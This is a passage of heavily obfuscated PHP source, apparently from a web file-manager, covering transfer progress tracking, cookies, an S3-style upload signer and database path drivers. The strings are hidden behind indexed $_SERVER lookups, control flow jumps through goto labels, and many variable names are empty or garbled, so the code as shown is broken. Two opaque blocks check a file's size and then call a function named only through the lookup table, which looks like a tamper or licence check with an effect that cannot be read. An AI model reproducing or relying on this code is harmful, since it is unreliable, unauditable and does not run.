(!$ڎ || !$ؚ؈[$[445]]) { return !1; } $Π = array($[33] => $[1122], $[1705] => USER_ID, $[96] => $ڎ, $[420] => $); $ = $[1733]; CacheLock::lock($); Model($[490])->add($Π, array(), !0); CacheLock::unlock($); } public static function log($ğ) { if (!GLOBAL_DEBUG) { return; } write_log($ğ, $_SERVER[砐][1734]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[砐]; $ݕ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1735], array($this, $[1736])); Hook::bind($[1274], array($this, $[1737])); Hook::bind($[1738], array($this, $[1739])); Hook::bind($[638], array($this, $[1740])); Hook::bind($[639], array($this, $[1741])); Hook::bind($[645], array($this, $[1742])); Hook::bind($[646], array($this, $[1743])); Hook::bind($[641], array($this, $[1744])); Hook::bind($[643], array($this, $[1745])); Hook::bind($[607], array($this, $[1746])); Hook::bind($[604], array($this, $[1746])); Hook::bind($[609], array($this, $[1746])); Hook::bind($[611], array($this, $[1746])); Hook::bind($[613], array($this, $[1746])); Hook::bind($[1747], array($this, $[1748])); Hook::bind($[629], array($this, $[1749])); $this->sourceModelCopyFlag = !1; Hook::bind($[1750], array($this, $[1751])); Hook::bind($[1752], array($this, $[1753])); Hook::bind($[1754], array($this, $[1755])); $ݕ[$[1756]] = LNG($[1757]); $ݕ[$[1758]] = 0; $ݕ[$[1759]] = 0; $ݕ[$[1115]] = $[12]; $ݕ[$[1760]] = $[12]; $ݕ[$[1761]] = 0; $ݕ[$[1762]] = 0; $ݕ[$[1763]] = 0; if (!$ݕ[$[1593]]) { $ݕ[$[1593]] = LNG($[1764]); } } protected function endAfter() { $ =& $_SERVER[砐]; Hook::unbind($[1735], array($this, $[1736])); Hook::unbind($[1274], array($this, $[1737])); Hook::unbind($[1738], array($this, $[1739])); Hook::unbind($[638], array($this, $[1740])); Hook::unbind($[639], array($this, $[1741])); Hook::unbind($[645], array($this, $[1742])); Hook::unbind($[646], array($this, $[1743])); Hook::unbind($[641], array($this, $[1744])); Hook::unbind($[643], array($this, $[1745])); Hook::unbind($[607], array($this, $[1746])); Hook::unbind($[604], array($this, $[1746])); Hook::unbind($[609], array($this, $[1746])); Hook::unbind($[611], array($this, $[1746])); Hook::unbind($[613], array($this, $[1746])); Hook::unbind($[1747], array($this, $[1748])); Hook::unbind($[629], array($this, $[1749])); Hook::unbind($[1750], array($this, $[1751])); Hook::unbind($[1752], array($this, $[1753])); Hook::unbind($[1754], array($this, $[1755])); } public function copyMoveStart($, $֍, $搠, $) { $ =& $_SERVER[砐]; self::log($[1765] . $֍ . $[72] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($֍, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1766]] = KodIO::transferType($, $搠); $this->update(); } public function updateAfter() { $Χ =& $_SERVER[砐]; $ =& $this->task; if (!$[$Χ[808]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$Χ[1766]] == $Χ[1366]) { return; } self::updateTask($); } private static function updateTask(&$ڨ) { $֭ =& $_SERVER[砐]; if ($ڨ[$֭[1766]] == $֭[1245] || $ڨ[$֭[1766]] == $֭[109]) { if ($ڨ[$֭[1760]]) { $ڨ[$֭[1763]] = $ڨ[$֭[1762]] + $ڨ[$֭[1759]]; } } else { if ($ڨ[$֭[1766]] == $֭[1367]) { if ($ڨ[$֭[1760]] == $֭[1245]) { $ڨ[$֭[1763]] = $ڨ[$֭[1762]] + $ڨ[$֭[1759]] * 0.5; } else { if ($ڨ[$֭[1760]] == $֭[109]) { $ڨ[$֭[1763]] = $ڨ[$֭[1762]] + $ڨ[$֭[1758]] * 0.5 + $ڨ[$֭[1759]] * 0.5; } } } } $ڨ[$֭[1707]] = $ڨ[$֭[1763]] / $ڨ[$֭[808]]; if ($ڨ[$֭[1707]] > 0) { $ = timeFloat() - $ڨ[$֭[1709]] - $ڨ[$֭[1712]]; $ڨ[$֭[1713]] = $ * (1 - $ڨ[$֭[1707]]) / $ڨ[$֭[1707]]; } } public function addPath($) { $ =& $_SERVER[砐]; if (!$) { return; } $ =& $this->task; $㈍ = IO::infoWithChildren($); $ѝ = $[$[1767]] ? $[$[1767]][$[1768]] : 0; $[$[1767]] = array($[1768] => $ѝ + 1, $[464] => $㈍[$[32]], $[86] => $㈍[$[86]], $[553] => $㈍[$[553]] ? $㈍[$[553]] : $㈍[$[86]]); if ($㈍[$[33]] == $[216]) { $[$[831]] += 1; } else { $[$[831]] += $㈍[$[81]][$[79]]; if ($㈍[$[183]]) { $[$[831]] += $㈍[$[81]][$[80]] + 1; } } $[$[808]] += $㈍[$[78]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($ⷜ) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($ܽ㚤) { $̩ =& $_SERVER[砐]; $т =& $this->task; $т[$̩[1758]] = $ܽ㚤[$̩[78]]; $т[$̩[1756]] = $ܽ㚤[$̩[32]]; $т[$̩[1115]] = $ܽ㚤[$̩[32]]; $т[$̩[1769]] = $ܽ㚤[$̩[86]]; $this->update(); } public function sourceAddFileEnd($Ι) { $咐 =& $_SERVER[砐]; $ =& $this->task; $[$咐[1763]] += $Ι[$咐[78]]; $[$咐[1769]] = $Ι[$咐[86]]; $this->update(1); } public function copyFileStart($槱, $ɪ, $, $ޟ, $䓱, $) { $ڬȵ =& $_SERVER[砐]; $ = $䓱; if ($ == $GLOBALS[$ڬȵ[1770]]) { $ = $GLOBALS[$ڬȵ[1771]]; } $GLOBALS[$ڬȵ[1771]] = $䓱; $GLOBALS[$ڬȵ[1770]] = $; $ó =& $this->task; $ó[$ڬȵ[1756]] = $; $ó[$ڬȵ[1758]] = (int) $槱->size($ɪ); $ó[$ڬȵ[1759]] = 0; $ó[$ڬȵ[1115]] = $ڬȵ[12]; $ó[$ڬȵ[1760]] = $ڬȵ[12]; $ó[$ڬȵ[1761]] = 0; $ܢ = $ó[$ڬȵ[1758]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($ó[$ڬȵ[445]] . $ڬȵ[1772]); if ($ܢ && file_exists(get_path_father($ޟ))) { Cache::set($ó[$ڬȵ[445]] . $ڬȵ[1772], $ޟ); $ó[$ڬȵ[1729]] = array($ڬȵ[1773], $ڬȵ[1774]); } $this->update(0, $ܢ); } public static function updateCopyLocalFileSize($) { $ʕ =& $_SERVER[砐]; $ = Cache::get($[$ʕ[445]] . $ʕ[1772]); if (!$ || !file_exists($)) { return $; } $[$ʕ[1759]] = @filesize($); $[$ʕ[1763]] += $[$ʕ[1759]]; self::updateTask($); return $; } public function copyFileEnd($, $, $Ғ, $ݝ, $, $Έ) { $ =& $_SERVER[砐]; $ӭ =& $this->task; $ӭ[$[1759]] = $ӭ[$[1758]]; $ӭ[$[1760]] = $[12]; unset($ӭ[$[1729]]); if ($ == $ӭ[$[1756]]) { $ӭ[$[1762]] += $ӭ[$[1758]]; $ӭ[$[1763]] = $ӭ[$[1762]]; $ŗ = 1; if (isset($ӭ[$[1769]]) && $ӭ[$[1769]] == $) { $ŗ = 0; } $this->update($ŗ); } else { $this->update(); $ӭ[$[1759]] = 0; } Cache::remove($ӭ[$[445]] . $[1772]); self::log($[1775] . $ . $[72] . $ݝ . $[248] . $ . $[1776] . $ӭ[$[1756]]); } public function updateFileEnd($, $Ȝ) { $ =& $_SERVER[砐]; $݄ =& $this->task; $݄[$[1756]] = $; $݄[$[1758]] = $Ȝ; $݄[$[1762]] += $Ȝ; $݄[$[1763]] = $݄[$[1762]]; $this->update(1); self::log($[1777] . $); } public function sourceModelCopy($) { $ =& $_SERVER[砐]; $剢 = $[0]; $ = $[1]; $΃ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($剢) { case $[605]: $ = 1; break; case $[608]: $΃[$[1756]] = $[$[32]]; break; case $[610]: $ = intval($[$[426]] * 0.4); break; case $[612]: $ = intval($[$[426]] * 0.2); break; case $[614]: $ = intval($[$[426]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ت, $żٗ) { $ =& $_SERVER[砐]; $this->sourceModelCopyFlag = !0; $Ⲅ = 1; if (isset($ت[$[81]])) { $Ⲅ = $ت[$[81]][$[79]]; $Ⲅ = $Ⲅ + $ت[$[81]][$[80]] + 1; } $this->update($Ⲅ); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $򆶂, $, $, $) { $Տ՛ =& $_SERVER[砐]; $ݱ =& $this->task; if ($ > 0) { $ݱ[$Տ՛[1115]] = $Տ՛[1778]; $ݱ[$Տ՛[1760]] = $Տ՛[109]; if ($ݱ[$Տ՛[1758]]) { $ݱ[$Տ՛[1759]] = $; } if ($ݱ[$Տ՛[1761]]) { $ݱ[$Տ՛[1759]] = $ + $ݱ[$Տ՛[1761]]; } } else { if ($ > 0) { if ($ݱ[$Տ՛[1758]] == $򆶂) { $ݱ[$Տ՛[1759]] = $; $ݱ[$Տ՛[1115]] = $Տ՛[1779]; $ݱ[$Տ՛[1760]] = $Տ՛[1245]; } } } $this->update(); } public function curlProgressStart($Гˤ) { } public function curlProgressEnd($٤Ą) { $ =& $_SERVER[砐]; $ʹ =& $this->task; $ = curl_getinfo($٤Ą); $Ǝ = $[$[1780]]; if ($Ǝ == -1) { $Ǝ = $[$[1781]]; } if ($ʹ[$[1760]] == $[109] && $Ǝ) { $ʹ[$[1761]] += $Ǝ; } $this->update(); } } if ($_SERVER[$_SERVER[砐][922]] != $_SERVER[$_SERVER[砐][1782]]) { $_getc = $_SERVER[砐][925]; $_getfile = $_SERVER[$_SERVER[砐][926]] . $_SERVER[砐][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[砐][248], $_getfilec); if (count($_getarrs) < $_SERVER[砐][692]) { $exit = $_SERVER[砐][928]; $exit(); } $_act = $_SERVER[砐][932]; $_act($_SERVER[$_SERVER[砐][923]]); } goto Fҝ; Dχ: $_size = $_SERVER[砐][931]; if ($_SERVER[$_SERVER[砐][922]] != $_size($_file)) { $_getc = $_SERVER[砐][925]; $_getfile = $_SERVER[$_SERVER[砐][926]] . $_SERVER[砐][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[砐][248], $_getfilec); if (count($_getarrs) < $_SERVER[砐][692]) { $exit = $_SERVER[砐][928]; $exit(); } $_act = $_SERVER[砐][932]; $_act($_file); } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ᗈ = '', $ˁ = 0) { if (is_string($ᗈ) && $ᗈ != $_SERVER[砐][12]) { $this->prefix = $ᗈ; } if (is_numeric($ˁ) && $ˁ > 0) { $this->expire = $ˁ; } } public static function getInstance() { static $ؾؓ; if ($ؾؓ === null) { $ؾؓ = new self(); } return $ؾؓ; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $, $䯮 = 0, $ = false, $Ӫݟ = false) { $ =& $_SERVER[砐]; if (self::$cookieDisable) { return; } if (!$䯮) { $䯮 = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $䯮) { return; } self::$sameCookieSet[$] = $ . $䯮; if (!$Ӫݟ) { $Ӫݟ = str_replace(HOST, $[12], APP_HOST); $Ӫݟ = _get($GLOBALS, $[933], $Ӫݟ); } $ = $[12]; setcookie($, $, time() + $䯮, $[8] . trim($Ӫݟ, $[8]) . $, !1, !1, $); } public static function setSafe($ߴ, $, $ = 0) { self::set($ߴ, $, $, !0); } public static function get($) { static $ݶ = false; if (!$ݶ) { self::initHeaderCookie(); $ݶ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $߹ =& $_SERVER[砐]; if (!isset($_SERVER[$߹[934]]) || !$_SERVER[$߹[934]]) { return; } $ = explode($߹[73], $_SERVER[$߹[934]]); foreach ($ as $̐) { $̐ = explode($߹[935], $̐); if (count($̐) != 2 || !isset($̐[1])) { continue; } $_COOKIE[trim($̐[0])] = trim($̐[1]); } } public static function remove($͢͝, $˕ = false) { unset($_COOKIE[$͢͝]); self::set($͢͝, $_SERVER[砐][12], 1, $˕); } } goto E侚ϧ; bڣی: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($޳ٝ) { parent::__construct($޳ٝ); $this->signatureVersion($_SERVER[砐][233]); } public function uploadFormData($ސ, $Œ = 3600) { $ =& $_SERVER[砐]; $ = $[215]; $ = $[249]; $ = $[259]; $χ = gmdate($[1376], time() + $Œ); $ߐ = (string) time() . $[73] . (string) (time() + $Œ); $ܖ = array($[260] => $χ, $[263] => array(array($[265] => $), array($[264] => $this->bucket), array($[266], $[267], $[12]), array($[270] => $), array($[1377] => $), array($[1378] => $this->accessKey), array($[1379] => $ߐ))); $ܖ = json_encode($ܖ); $Ӽ = hash_hmac($[249], $ߐ, $this->secret); $̨ = sha1($ܖ); $ɕ = hash_hmac($[249], $̨, $Ӽ); $𐦥 = array($[265] => $, $[270] => $, $[278] => base64_encode($ܖ), $[1377] => $, $[1378] => $this->accessKey, $[1380] => $ߐ, $[1381] => $ɕ, $[198] => $this->getHost()); return $𐦥; } public function fileOutLink($ƌ) { $ =& $_SERVER[砐]; if (substr($ƌ, 0, 7) == $[1382]) { $ƌ = $[1383] . substr($ƌ, 7); } header($[164] . $ƌ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Œ͈) { $this->pathParse = $Œ͈; $this->model = Model($_SERVER[砐][1384]); } public function getPath($㞫) { return trim($㞫, $_SERVER[砐][8]); } public function pathFather($Œ) { $ = $this->parse($Œ); $ = $this->infoSimple($Œ); return $ ? $[$_SERVER[砐][182]] : !1; } public function pathThis($ۤݒ) { $᪶ = $this->infoSimple($ۤݒ); return $᪶ ? $᪶[$_SERVER[砐][32]] : !1; } public function getPathOuter($ȏ) { if (!$ȏ) { return $ȏ; } $̸ = $this->parse($ȏ); return KodIO::make($̸[$_SERVER[砐][445]]); } public function copyFolderFromIO($, $̤ʼ, $Ԏ, $՝, $) { $ = $this->model->copyFolderFromIO($, $̤ʼ, $Ԏ, $՝, $); return KodIO::make($); } public function isParentOf($κ, $) { return $this->model->isParentOf($κ, $); } public function mkfile($ɷ, $ǘ = '', $Ӓڎ = REPEAT_RENAME) { $ٛ =& $_SERVER[砐]; $ = $this->parse($ɷ); $ɷ = $[$ٛ[445]]; for ($ = 0; $ < count($[$ٛ[1385]]); $++) { $ = $[$ٛ[1385]][$]; if ($ == count($[$ٛ[1385]]) - 1) { $ɷ = $this->model->mkfile($ɷ, $, $ǘ, $Ӓڎ); break; } $ɷ = $this->model->mkdir($ɷ, $, REPEAT_SKIP); } return $this->getPathOuter($ɷ); } public function mkdir($, $ž = REPEAT_SKIP) { $Ǒ =& $_SERVER[砐]; $ = $this->parse($); $ = $[$Ǒ[445]]; for ($Ѹ = 0; $Ѹ < count($[$Ǒ[1385]]); $Ѹ++) { $ = $[$Ǒ[1385]][$Ѹ]; $ = $this->model->mkdir($, $, $ž); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ =& $_SERVER[砐]; $Յ = $this->parse($); $ы = $this->model->copy($, $Յ[$[445]], $, $Յ[$[86]]); return $ы ? $this->getPathOuter($ы) : !1; } public function moveFile($ۡ, $ĹЀ, $ = REPEAT_REPLACE) { $ݮ϶ =& $_SERVER[砐]; $ү = $this->parse($ĹЀ); $갲 = $this->model->move($ۡ, $ү[$ݮ϶[445]], $, $ү[$ݮ϶[86]]); return $갲 ? $this->getPathOuter($갲) : !1; } public function copy($ʜ, $, $ = REPEAT_REPLACE, $ = false) { $ = $this->parse($); $Ȓ = $this->model->copy($ʜ, $[$_SERVER[砐][445]], $, $); return $Ȓ ? $this->getPathOuter($Ȓ) : !1; } public function moveSameAllow() { } public function move($ܑ, $ʅ, $߅х = REPEAT_REPLACE, $ = false) { $ϧ = $this->parse($ʅ); $ݽϕ = $this->model->move($ܑ, $ϧ[$_SERVER[砐][445]], $߅х, $); return $ݽϕ ? $this->getPathOuter($ݽϕ) : !1; } public function remove($, $ߴ = true) { return $this->model->remove($, $ߴ); } public function rename($, $൹) { $唗 = $this->model->rename($, $൹); return $唗 ? $this->getPathOuter($) : $唗; } public function size($͡) { $ = $this->infoSimple($͡); return $ ? $[$_SERVER[砐][78]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($Ę) { return $this->infoParse($Ę); } public function infoAuth($琴) { return $this->infoParse($琴, !1, !0); } public function infoWithChildren($) { return $this->infoParse($, !0); } protected function infoParse($, $鍍 = false, $Ё = false) { if (!$鍍) { return $this->model->pathInfo($, $Ё); } return $this->model->pathInfoMore($); } public function infoFullSimple($ҿѱ) { $ =& $_SERVER[砐]; $ޓ = explode($[8], $ҿѱ); $ = implode($[8], array_splice($ޓ, 1)); return $this->model->pathInfoByPath($ޓ[0], $); } public function infoFull($) { $± = $this->infoFullSimple($); return is_array($±) ? $this->model->pathInfo($±[$_SERVER[砐][183]]) : !1; } public function hashSimple($߬޲) { $ =& $_SERVER[砐]; $ޤ = $this->infoWithChildren($߬޲); return $ޤ[$[519]][$[642]]; } public function hashMd5($) { $ =& $_SERVER[砐]; $ޜ = $this->infoWithChildren($); return $ޜ[$[519]][$[517]]; } public function exist($葰) { $ =& $_SERVER[砐]; $ު = $this->parse($葰); if (!$ު[$[86]]) { return $this->isFile($葰) || $this->isFolder($葰); } $ = array($[447] => $ު[$[445]], $[32] => $ު[$[86]]); $ = $this->model->where($)->find(); return $ ? !0 : !1; } public function isFile($ϖ) { $ =& $_SERVER[砐]; $ٛݽ = $this->infoSimple($ϖ); return $ٛݽ && $ٛݽ[$[455]] == $[214] ? !0 : !1; } public function isFolder($񑰁) { $ =& $_SERVER[砐]; $ع̄ = $this->infoSimple($񑰁); return $ع̄ && $ع̄[$[455]] == $[90] ? !0 : !1; } public function listPath($, $ק̓ = false) { $ =& $_SERVER[砐]; if ($ == $[12]) { return !1; } $ = array($[447] => $); if ($ק̓) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $Μ = null) { $ƹ =& $_SERVER[砐]; $º = $this->infoWithChildren($); if ($) { return array($ƹ[226] => $º[$ƹ[226]], $ƹ[225] => $º[$ƹ[225]]); } return $Μ ? $º[$ƹ[226]] : $º[$ƹ[225]]; } public function listAll($ʀ) { $޿ = IO::info($this->pathParse[$_SERVER[砐][86]]); if (!$޿) { return array(); } return $this->model->listAll($ʀ); } public function getContent($ى) { return $this->model->getContent($ى); } public function setContent($ޭ, $ = '') { return $this->model->setContent($ޭ, $); } public function fileSubstr($̑ů, $▀, $) { return $this->model->fileSubstr($̑ů, $▀, $); } public function download($嵘, $ݮ = '') { $ = get_path_father($ݮ); $ = get_path_this($ݮ); $މ = $this->model->fileInfoGet($嵘); $ݶ = IO::copy($މ[$_SERVER[砐][86]], $, !1, $); return $ݶ; } public function setModifyTime($, $ = '') { $ =& $_SERVER[砐]; if (!$) { return; } $this->model->where(array($[461] => $))->save(array($[87] => $)); } public function upload($ᄓ, $, $竜 = false, $ = REPEAT_REPLACE) { $۾ =& $_SERVER[砐]; $ = $this->parse($ᄓ); $ = $this->model->addFile($[$۾[445]], $, $[$۾[86]], $竜, $); return $this->getPathOuter($); } public function uploadFileByID($, $͘, $) { $ =& $_SERVER[砐]; $̨ = $this->parse($); $ = $this->model->addFileByFileID($̨[$[445]], $͘, $̨[$[86]], $); return $this->getPathOuter($); } public function addFileByRemote($Ѡ, $, $ = array(), $ۧ = '', $ձ) { $Ҁ =& $_SERVER[砐]; $ = $this->parse($Ѡ); $ۧ = empty($ۧ) ? $[$Ҁ[86]] : $ۧ; $嵻 = $this->model->addFileByRemote($[$Ҁ[445]], $, $ۧ, $, $ձ); return $this->getPathOuter($嵻); } public function uploadLink($, $俣 = 0) { $Ø =& $_SERVER[砐]; $ = $this->parse($); $ӷ = _get($GLOBALS[$Ø[7]], $Ø[1386]); $߄ٵ = _get($GLOBALS[$Ø[7]], $Ø[1387]); $ = Model($Ø[644])->createFileName($[$Ø[86]], $ӷ, $߄ٵ); return IO::uploadLink($, $俣); } public function fileNameAuto($, $Թ, $ғ = REPEAT_REPLACE, $պ = false) { return $this->model->fileNameAuto($, $Թ, $ғ, $պ); } public function fileNameExist($, $ݼ) { return $this->model->fileNameExist($, $ݼ); } protected function _fileOut($˅Ӯ, $ = false, $ˬ = false, $߿ = '', $í = false) { $ =& $_SERVER[砐]; $ = $this->model->sourceInfo($˅Ӯ); if ($[$[455]] == $[90]) { header($[1388]); die; } $ɇ = $this->model->fileInfoGet($˅Ӯ); $߿ = $ɇ[$[517]] ? $ɇ[$[517]] : $߿; $ = is_array($GLOBALS[$[171]]) ? $GLOBALS[$[171]][$[32]] : $[$[32]]; if ($í) { return IO::fileOutServer($ɇ[$[86]], $, $, $߿); } IO::fileOut($ɇ[$[86]], $, $, $߿); } public function fileOut($ݽ, $ = false, $͛Υ = false, $˙ = '') { $this->_fileOut($ݽ, $, $͛Υ, $˙); } public function fileOutServer($۾, $͸ = false, $ = false, $ć = '') { $this->_fileOut($۾, $͸, $, $ć, !0); } protected function _fileOutImage($, $ϿМ = 250) { $ =& $_SERVER[砐]; $ = $this->model->pathInfo($); if ($[$[455]] == $[90]) { show_json($[1389] . $, !1); } $Ɔ = $this->model->fileInfoGet($); $[$[172]] = $Ɔ[$[86]]; $GLOBALS[$[171]] = $; IO::fileOutImage($Ɔ[$[86]], $ϿМ); } public function fileOutImage($㝏, $플 = 250) { $this->_fileOutImage($㝏, $플); } public function fileOutImageServer($, $ﲟ = 250) { $this->_fileOutImage($, $ﲟ); } public function link($, $ = '') { $Էܠ = $this->model->fileInfoGet($); return IO::link($Էܠ[$_SERVER[砐][86]], $); } protected function parse($։) { $Ƥ =& $_SERVER[砐]; if (strstr($։, $Ƥ[8]) === !1) { return array($Ƥ[463] => intval($։), $Ƥ[86] => $Ƥ[12], $Ƥ[1385] => array()); } $ާ = explode($Ƥ[8], trim($։, $Ƥ[8])); if (count($ާ) < 2) { show_tips(clear_html($։) . $Ƥ[1390]); } return array($Ƥ[463] => intval($ާ[0]), $Ƥ[86] => $ާ[1], $Ƥ[1385] => array_slice($ާ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[砐][1384]); } public function getPathOuter($τ) { $О =& $_SERVER[砐]; if (!$τ) { return $τ; } $뿩 = $this->parse($τ); return trim(KodIO::makeShare($this->pathParse[$О[445]], $뿩[$О[445]]), $О[8]); } protected function infoParse($ۉʠ, $˳ = false, $ = false) { $ =& $_SERVER[砐]; $ɥ = $this->pathParse[$[445]]; $䊡 = trim($this->pathParse[$[1219]], $[8]); return Action($[1391])->sharePathInfo($ɥ, $䊡, $˳); } public function infoFull($ې) { $߼ =& $_SERVER[砐]; $ơ = explode($߼[8], trim($ې, $߼[8])); if (count($ơ) > 1) { $ = implode($߼[8], array_splice($ơ, 1)); $Ӄ = $this->model->pathInfoByPath($ơ[0], $); if (!$Ӄ) { return !1; } $this->pathParse[$߼[1219]] = $Ӄ[$߼[183]]; } return $this->infoParse($ې); } public function listAll($) { $˟ =& $_SERVER[砐]; $݁ = IO::info($this->pathParse[$˟[86]]); if (!$݁) { return array(); } $ = $this->model->listAll($); $ = Model($˟[634])->getInfo($݁[$˟[635]]); foreach ($ as &$е) { check_abort(); $е[$˟[89]] = Action($˟[1391])->_shareItemeParse($е[$˟[89]], $); } unset($е); return $; } } goto D; F˗喑: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $շ =& $_SERVER[砐]; $this->objectDriver = array($շ[60], $շ[61], $շ[62], $շ[63], $շ[64], $շ[65], $շ[66], $շ[67], $շ[68], $շ[69], $շ[70]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ͻĹ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ͻĹ, $_SERVER[砐][8]); } return $ͻĹ; } public function iconvApp($ߕݹ) { return $ߕݹ; } public function iconvSystem($ݼ) { return $ݼ; } public function iconvTo($, $, $ͱ) { $ȩ =& $_SERVER[砐]; if (!$ || !function_exists($ȩ[71])) { return $; } static $厒 = array(); $ۑ = $ . $ȩ[72] . $ͱ . $ȩ[73] . $; if (isset($厒[$ۑ])) { return $厒[$ۑ]; } if (function_exists($ȩ[74])) { $ = @mb_convert_encoding($, $ͱ, $); } else { $ = @iconv($, $ͱ, $); } $ = $ ? $ : $; if (strstr($, $ȩ[75])) { $ = str_replace($ȩ[75], $ȩ[11], $); } $厒[$ . $ȩ[72] . $ͱ . $ȩ[73] . $] = $; $厒[$ͱ . $ȩ[72] . $ . $ȩ[73] . $] = $; $厒[$ͱ . $ȩ[72] . $ . $ȩ[73] . $] = $; $厒[$ . $ȩ[72] . $ͱ . $ȩ[73] . $] = $; return $; } public function getPathInner($ޒߒ) { $ϡƆ = IO::init($ޒߒ); return $ϡƆ->path; } public function getPathOuter($ު) { $ːϳ =& $_SERVER[砐]; $ = strlen(trim($this->pathBase, $ːϳ[8])); $ު = substr(trim($ު, $ːϳ[8]), $); return $this->pathDriver . $ːϳ[8] . ltrim($ު, $ːϳ[8]); } public function isParentOf($, $ܺÒ) { $Ψ =& $_SERVER[砐]; $ = rtrim(strtolower($), $Ψ[8]) . $Ψ[8]; $ܺÒ = rtrim(strtolower($ܺÒ), $Ψ[8]) . $Ψ[8]; $ೳ = strpos($ܺÒ, $) === 0; return $ೳ; } public function getType() { $в =& $_SERVER[砐]; $Ǻ = str_replace($в[76], $в[12], get_class($this)); return strtolower($Ǻ); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $) { $ =& $_SERVER[砐]; $Dz = rtrim($, $[8]) . $[8] . $; $򻽚 = $this->exist($Dz); return $򻽚 ? $Dz : !1; } public function setModifyTime($Ț, $暷 = '') { } public function renameObject($, $) { $ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ : !1; } public function tempFile($ = '', $姚 = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[砐][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $̽ҁ = $ . $; @touch($̽ҁ); if ($姚) { file_put_contents($̽ҁ, $姚); } return $̽ҁ; } public function tempFileRemve($軠) { @unlink($軠); @rmdir($this->pathFather($軠)); } public function mkfile($Ӫ, $€ = '', $ = REPEAT_RENAME) { } public function mkdir($ؙ, $ʷڄ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ގ) { } public function copyFile($, $ל) { } public function moveFile($, $۪) { } public function remove($) { if ($this->isFile($)) { return $this->delFile($); } return $this->delFolder($); } public function rename($, $̉܂) { } public function exist($ʋ) { } public function findByHash($̌ = '', $ַ = '') { return !1; } public function isFile($犆) { } public function isFolder($) { } public function size($ф) { } public function info($) { } public function infoSimple($ߥ) { return $this->info($ߥ); } public function infoAuth($) { return $this->info($); } public function infoFull($) { return $this->info($); } public function infoFullSimple($) { return $this->info($); } public function infoWithChildren($) { $ڀ =& $_SERVER[砐]; static $ = array(); if (isset($[$])) { return $[$]; } $ = $this->info($); if ($ && $[$ڀ[33]] == $ڀ[77]) { $ɑ̼ = array($ڀ[78] => 0, $ڀ[79] => 0, $ڀ[80] => 0); $this->infoChildren($, $ɑ̼); $[$ڀ[78]] = $ɑ̼[$ڀ[78]]; $[$ڀ[81]] = array($ڀ[82] => $ɑ̼[$ڀ[79]], $ڀ[83] => $ɑ̼[$ڀ[80]]); $[$] = $; } return $; } public function listPath($Ų, $ = false) { } public function has($К, $Ŋ = false, $ = false) { } public function canRead($ت) { } public function canWrite($Ѫ) { } public function getContent($鄯) { } public function setContent($͡, $ = '') { } protected function infoChildren($ﷀ, &$׫) { $쾼ͥ =& $_SERVER[砐]; check_abort_echo(); $䊨 = $this->listPath($ﷀ, !0); $䊨 = array_merge($䊨[$쾼ͥ[84]], $䊨[$쾼ͥ[85]]); foreach ($䊨 as $) { if ($[$쾼ͥ[33]] == $쾼ͥ[77]) { $׫[$쾼ͥ[80]]++; $ = $this->getPathInner($[$쾼ͥ[86]]); $this->infoChildren($, $׫); } else { $׫[$쾼ͥ[79]]++; $׫[$쾼ͥ[78]] += $[$쾼ͥ[78]]; } } } public function fileSubstr($ӕ, $ׇ, $߄) { } public function listAll($Í) { } public function listAllMake($, &$) { $͠ =& $_SERVER[砐]; check_abort_echo(); $ = $this->listPath($, !0); if (!$) { return; } $ɺ = array_merge($[$͠[84]], $[$͠[85]]); foreach ($ɺ as $ԩ) { $ƚǨ = $ԩ[$͠[33]] == $͠[77]; $愈 = array($͠[86] => $ԩ[$͠[86]], $͠[77] => $ƚǨ); if (isset($ԩ[$͠[78]])) { $愈[$͠[78]] = $ԩ[$͠[78]]; } if (isset($ԩ[$͠[87]])) { $愈[$͠[87]] = $ԩ[$͠[87]]; } if (!$ƚǨ) { $[] = $愈; continue; } $[] = $愈; $ = $ԩ[$͠[86]]; $ = $this->pathDriver; if (substr($ԩ[$͠[86]], 0, strlen($)) == $) { $ = substr($, strlen($)); } $this->listAllMake($, $); } } public function listAllSimple($, $󂊖 = false) { $ۆ = $this->listAll($); return $this->listAllSimpleMake($ۆ, $this->getPathOuter($), $󂊖); } public function listAllSimpleMake($Ĕ͡, $, $) { $η =& $_SERVER[砐]; $崂 = array(); $ = rtrim(get_path_father($), 